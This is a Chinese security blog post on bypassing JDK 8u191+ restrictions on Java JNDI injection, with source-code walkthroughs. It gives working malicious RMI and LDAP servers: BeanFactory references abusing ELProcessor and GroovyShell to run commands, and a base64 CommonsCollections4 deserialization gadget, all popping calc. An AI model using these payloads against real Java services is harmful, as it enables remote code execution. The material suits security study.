Java JNDI注入(三)

前言:上一篇的jndi注入和原理都学习了之后,基本在jdk8中的191以下都可以进行远程恶意类的加载,然后这里就继续来学习jdk8 191之后的绕过方法

参考文章:https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

对于Oracle JDK 11.0.1、8u191、7u201、6u211或者更高版本的JDK来说,默认环境下之前这些利用方式都已经失效。然而,我们依然可以进行绕过并完成利用。

自己搜索到有两种方法都可以绕过191,这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。

利用本地Class作为Reference Factory

原理:找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。

环境还是JNDI注入(二)笔记中的环境,此时我用的还是rmi+jndi,我的jdk版本是8u181,我这次把System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");进行注释,最后结果为如下:

调试可以发现,在decodeObject方法判断trustURLCodebase处就会抛出错误

想要绕过trustURLCodebase判断,如下所示,trustURLCodebase配置项肯定没办法,但是getFactoryClassLocation(),当reference不设置远程加载恶意的Factory的时候,这个返回的就是null,那么这条语句就不成立!

            if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
                throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
            } else {
                return NamingManager.getObjectInstance(var3, var2, this, this.environment);
            }

getFactoryClassLocation()不让它成立,那么Reference只能如下的规则来进行生成,也就是说还可以定义String className, String factory

那么String className, String factory,这两个属性在Client请求绑定对象的时候在哪里生效呢?继续来找下,其实还是在getObjectFactoryFromReference这个方法中

所以如果本地存在可以进行利用的gadgets那么还是可以进行JNDI注入,从而绕过trustURLCodebase

这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个getObjectInstance() 方法。

org.apache.naming.factory.BeanFactory配合javax.el.ELProcessor#eval

org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中,所以使用也是非常广泛。

org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。

而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。

pom包环境需要Tomcat的依赖,因为org.apache.naming.factory.BeanFactory存在Tomcat中

    <dependency>
      <groupId>org.apache.tomcat</groupId>
      <artifactId>tomcat-catalina</artifactId>
      <version>8.5.0</version>
    </dependency>

    <dependency>
      <groupId>org.apache.el</groupId>
      <artifactId>com.springsource.org.apache.el</artifactId>
      <version>7.0.26</version>
    </dependency>

Client如下,加载本地类org.apache.naming.factory.BeanFactory

返回了一个BeanFactory对象

接着就是调用该BeanFactory对象的getObjectInstance方法,先是生成javax.el.ELProcessor Class对象

接着就是实例化javax.el.ELProcessor,后面说明为什么实例化的是ELProcessor,这里可以看到是通过Class实例来进行newInstance的,说明要利用的类还需要有一个public的构造函数才可以

接着跟如下一部分,取出当前ResourceRef对象中的forceString属性,这里设置的forceString值为KINGX=eval

调用如下

接着调用取出"x"的为主键的字符串值

最后进行调用"x"主键中的字符串,el表达式进行执行,最终执行命令calc

    public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                    Hashtable<?,?> environment)
        throws NamingException {

        if (obj instanceof ResourceRef) { // 判断obj对象是否是ResourceRef

            try {

                Reference ref = (Reference) obj;
                String beanClassName = ref.getClassName(); // 获取ref中className属性
                Class<?> beanClass = null;
                ClassLoader tcl = Thread.currentThread().getContextClassLoader();
                if (tcl != null) {
                    try {
                        beanClass = tcl.loadClass(beanClassName);
                    } catch(ClassNotFoundException e) {
                    }
                } else {
                    try {
                        beanClass = Class.forName(beanClassName);  // 本地加载对应的Class对象
                    } catch(ClassNotFoundException e) {
                        e.printStackTrace();
                    }
                }
                if (beanClass == null) {
                    throw new NamingException
                        ("Class not found: " + beanClassName);
                }

                BeanInfo bi = Introspector.getBeanInfo(beanClass);  // 获取相关Class的信息
                PropertyDescriptor[] pda = bi.getPropertyDescriptors(); // 获取相关参数

                Object bean = beanClass.newInstance(); // 实例化对应的className,获得一个对象,那么我们利用的类有个前提条件就是该beanClass对象存在一个公有的无参构造函数

                /* Look for properties with explicitly configured setter */
                RefAddr ra = ref.get("forceString"); // 获取forceString字符串
                Map<String, Method> forced = new HashMap<>();
                String value;

                if (ra != null) {
                    value = (String)ra.getContent(); // 获取forceString中的值
                    Class<?> paramTypes[] = new Class[1]; // 存储下面的String.class,那么我们利用的类有个前提条件,对应方法的第一个参数为String类型
                    paramTypes[0] = String.class;
                    String setterName;
                    int index;

                    /* Items are given as comma separated list */
                    for (String param: value.split(",")) {  // 通过“,”来进行切分
                        param = param.trim();
                        /* A single item can either be of the form name=method
                         * or just a property name (and we will use a standard
                         * setter) */
                        index = param.indexOf('='); // 如果param中有“=”符号的话
                        if (index >= 0) {
                            setterName = param.substring(index + 1).trim(); // setterName=eval
                            param = param.substring(0, index).trim(); // param=KINGX
                        } else {
                            setterName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                                         param.substring(1);
                        }
                        try {
                            forced.put(param, beanClass.getMethod(setterName, paramTypes));  // KINGS=eval(方法)
                        } catch (NoSuchMethodException|SecurityException ex) {
                            throw new NamingException
                                ("Forced String setter " + setterName +
                                 " not found for property " + param);
                        }
                    }
                }

                Enumeration<RefAddr> e = ref.getAll(); // 获取ref中所有的字符串

                while (e.hasMoreElements()) {

                    ra = e.nextElement();
                    String propName = ra.getType();

                    if (propName.equals(Constants.FACTORY) ||
                        propName.equals("scope") || propName.equals("auth") ||
                        propName.equals("forceString") ||
                        propName.equals("singleton")) {
                        continue;
                    }

                    value = (String)ra.getContent();

                    Object[] valueArray = new Object[1];

                    /* Shortcut for properties with explicitly configured setter */
                    Method method = forced.get(propName); // 获取到eval(方法)
                    if (method != null) {
                        valueArray[0] = value;  // value也是我们可控的,此时value则是执行命令的字符串
                        try {
                            method.invoke(bean, valueArray); // 最终执行命令即可触发
                        } catch (IllegalAccessException|
                                 IllegalArgumentException|
                                 InvocationTargetException ex) {
                            throw new NamingException
                                ("Forced String setter " + method.getName() +
                                 " threw exception for property " + propName);
                        }
                        continue;
                    }
.               ....    
                ....

    }

绕过复现

RMIReferenceServerTest.java

public class RMIReferenceServerTest  {
    public static void main(String[] args) throws Exception{

        System.out.println("Creating evil RMI registry on port 9527");
        LocateRegistry.createRegistry(9527);

        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        Naming.bind("rmi://192.168.1.230:9527/AAAAAA", referenceWrapper);
        System.out.println("RMI服务启动成功,服务地址:" + "rmi://192.168.1.230:9527/AAAAAA");

    }
}

org.apache.naming.factory.BeanFactory配合groovy.lang.GroovyShell##evaluate

相关的pom依赖

    <dependency>
      <groupId>org.codehaus.groovy</groupId>
      <artifactId>groovy-all</artifactId>
      <version>1.5.0</version>
    </dependency>

GroovyShell测试命令执行代码:

public class TestGroovy {
    public static void main(String[] args) {
        GroovyShell groovyShell = new GroovyShell();
        groovyShell.evaluate("'calc'.execute()");
    }
}

从上面的第一个BeanFactory分析可以看出来,如果想要找利用类的话,该类必须要满足这几个条件:

1、存在公有的无参构造函数

2、存在一个命令执行函数并且该函数只有一个参数,这个参数的类型为String类型

GroovyShell#evaluate方法满足

绕过复现

RMIReferenceServerTest.java

public class RMIReferenceServerTest  {
    public static void main(String[] args) throws Exception{

        System.out.println("Creating evil RMI registry on port 9527");
        LocateRegistry.createRegistry(9527);

        ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=evaluate"));
        ref.add(new StringRefAddr("x", "'calc'.execute()"));

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        Naming.bind("rmi://192.168.1.230:9527/AAAAAA", referenceWrapper);
        System.out.println("RMI服务启动成功,服务地址:" + "rmi://192.168.1.230:9527/AAAAAA");
    }
}

利用LDAP的javaSerializedData反序列化gadget

原理:利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。

简而言之,LDAP Server除了使用JNDI Reference进行利用之外,还支持直接返回一个对象的序列化数据。如果Java对象的javaSerializedData属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化

将客户端的jdk版本调到191以上,然后再进行测试,发现已经不能利用了,运行之后没有反应,如下图所示

这里先分析正常流程是怎么走的,这里直接来到LDAP客户端触发反序列化的位置,如下图所示

这里继续跟来到如下decodeObject方法中,可以看到它会先进行判断你的服务端是否有设置JAVA_ATTRIBUTES[1]参数,JAVA_ATTRIBUTES[1]对应的就是javaserializeddata,如果没有的话那么久继续向下执行,当我们没有设置javaserializeddata参数的时候,这时候就会去执行下面这段代码decodeReference方法

return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);

这里就不在跟了,这里我给个堆栈图如下所示

loadClass:101, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:11, LdapClient (com.zpchcbd.ldap)

一直跟的话,最终在com.sun.naming.internal.VersionHelper12停下,可以看到这里在ldap中jdk191之后也开始进行了检测

    public Class<?> loadClass(String className, String codebase)
            throws ClassNotFoundException, MalformedURLException {
        if ("true".equalsIgnoreCase(trustURLCodebase)) {
            ClassLoader parent = getContextClassLoader();
            ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent);
            return loadClass(className, cl);
        } else {
            return null;
        }
    }

这里绕过的方法就是通过Obj类中的decodeObject方法中的处理,你可以看到第一个if判断中,如果attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])成立的话,那么就会执行deserializeObject方法,而这里的JAVA_ATTRIBUTES[1]对应的参数就是javaSerializedData参数,所以这边我们只需要满足javaSerializedData参数那么就可以绕过上面的trustURLCodebase的限制

com/sun/jndi/ldap/Obj.java

    static Object decodeObject(Attributes attrs)
        throws NamingException {

        Attribute attr;

        // Get codebase, which is used in all 3 cases.
        String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
        try {
            if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) { // 绕过jdk高版本jndi注入,触发点在这边
                if (!VersionHelper12.isSerialDataAllowed()) {
                    throw new NamingException("Object deserialization is not allowed");
                }
                ClassLoader cl = helper.getURLClassLoader(codebases);
                return deserializeObject((byte[])attr.get(), cl);
            } else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
                // For backward compatibility only
                return decodeRmiObject(
                    (String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
                    (String)attr.get(), codebases);
            }

            attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
            if (attr != null &&
                (attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||
                    attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
                return decodeReference(attrs, codebases);
            }
            return null;
        } catch (IOException e) {
            NamingException ne = new NamingException();
            ne.setRootCause(e);
            throw ne;
        }
    }

最终的服务端起的代码可以是如下

LdapServer.java

public class LdapServer {
    public static void main(String[] args) throws Exception {
        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
        config.setListenerConfigs(new InMemoryListenerConfig(
                "listen",
                InetAddress.getByName("172.20.10.2"),
                1199,
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()
        ));
        config.addInMemoryOperationInterceptor(new OperationInterceptor());
        InMemoryDirectoryServer directoryServer = new InMemoryDirectoryServer(config);
        directoryServer.startListening();
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            String className = "com.zpchcbd.jndi.objectfactory.ldap.ReferenceObjectFactory";
            Entry entry = new Entry(base);
            try {
                entry.addAttribute("javaClassName", className);
                entry.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAuW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwdXIALltMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5UcmFuc2Zvcm1lcjs5gTr7CNo/pQIAAHhwAAAABHNyADxvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnM0LmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnM0LmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABoAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAac3EAfgASdXEAfgAXAAAAAnB1cQB+ABcAAAAAdAAGaW52b2tldXEAfgAaAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AF3NxAH4AEnVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AAhjYWxjLmV4ZXQABGV4ZWN1cQB+ABoAAAABcQB+AB93BAAAAANzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNxAH4ALwAAAAJ4"));
            } catch (ParseException e) {
                e.printStackTrace();
            }
            entry.addAttribute("objectClass", "javaNamingReference");

            try {
                result.sendSearchEntry(entry);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            }catch (Exception e){
                e.printStackTrace();
            }
        }
    }
}

服务端开起来,然后客户端进行运行,看到可以成功反序列化,如下图所示

重新调试下可以看到,它已经开始走进的是第一个if的分支语句中deserializeObject

posted @ 2021-07-03 22:42  zpchcbd  阅读(1960)  评论(0编辑  收藏  举报